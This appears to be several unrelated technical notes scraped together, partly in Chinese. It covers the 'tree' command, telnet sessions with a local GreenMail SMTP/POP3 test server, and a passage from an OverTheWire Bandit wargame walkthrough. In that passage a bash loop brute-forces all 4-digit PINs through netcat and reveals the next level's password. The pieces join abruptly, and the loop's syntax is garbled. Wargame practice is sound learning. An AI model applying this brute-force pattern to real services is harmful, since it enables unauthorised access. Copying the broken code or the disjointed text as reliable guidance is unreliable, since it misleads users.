[directory-path] is an optional argument that specifies the directory you want to display as a tree structure. If you don’t specify a directory path, tree will display the tree structure for the current directory.
Here are some useful options you can add to the tree command:
-L[level]: Limit the depth of the tree to [level] directories.
-I[pattern]: Exclude files and directories that match the [pattern].
-P[pattern]: [pattern] is used to match files or directories that you want to include in the output.
-a: Show hidden files and directories.
-f: Print the full path prefix for each file or directory.
-h: Print the size of each file or directory in a human-readable format.
Example
1 2 3 4 5 6
$ tree -L 1 -P "source/*" -I "_drafts|_pages"source
source └── _posts
2 directories, 0 files
You can omit the report on the last line with option --noreport if it bothers you.
$ telnet localhost 3025
Trying ::1...
Connected to localhost.
Escape character is '^]'.
220 /0:0:0:0:0:0:0:1 GreenMail SMTP Service v2.1.0-alpha-1 ready
421 Service shutting down and closing transmission channel (socket timeout, SO_TIMEOUT: 30000ms)
握手成功了!接下里可以输入四字指令和 SMTP 服务器交流:
C: HELO localhost
S: 250-/0:0:0:0:0:0:0:1
250 AUTH PLAIN LOGIN
C: MAIL FROM: <example@email.com>
S: 250 OK
C: RCPT TO: <example@email.com>
S: 250 OK
C: DATA
S: 354 Start mail input; end with <CRLF>.<CRLF>
C: HELLO THERE
THIS IS USER SPEAKING
.
S: 250 OK
C: QUIT
S: 221 /0:0:0:0:0:0:0:1 Service closing transmission channel
Connection closed by foreign host.
解释一下这些缩写是什么意思:
HELO: hello
RCPT: recipient
CRLF: carriage return & line feed
连接 IMAP 服务器
认证阶段
2023-10-09 14:59:25,387 INFO
user.UserManager| Created user login example@email.com for address example@email.com with password
example@email.com because it didn't exist before.
$ telnet localhost 3110
+OK POP3 server ready
user example@email.com
+OK
pass example@email.com
+OK user successfully logged on
交易阶段
C: list
S: 1 498
S: 2 912
S: .
C: retr 1
S: (blah blah ...
S: .................
S: ..........blah)
S: .
C: dele 1
C: retr 2
S: (blah blah ...
S: .................
S: ..........blah)
S: .
C: dele 2
C: quit
S: +OK POP3 server signing off
.: directory
./.bash_logout: ASCII text
./.bashrc: ASCII text
./bandit26.sshkey: PEM RSA private key
./.profile: ASCII text
./.pin: ASCII text, with no line terminators
./.bandit24.password: ASCII text
for i in {0000..9999}; do echo$i printf"%s %s\n""VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar""$i" done
exit 0
除了语法上微小的一点差异,该题的syntax和C的语法很相像,所以不赘述了。
大致格式就是for [ test statement]; do <command>; done
编辑结束按ESC键回到普通模式,按:,然后输入指令wq,回车保存并退出。
执行script.sh,并把结果pipe到netcat:
1
./script.sh | nc localhost 30002 > output.txt
然后cat output.txt读取文本内容,这是其中的一小部分:
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Wrong! Please enter the correct pincode. Try again.
Fail! You did not supply enough data. Try again.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
Exiting.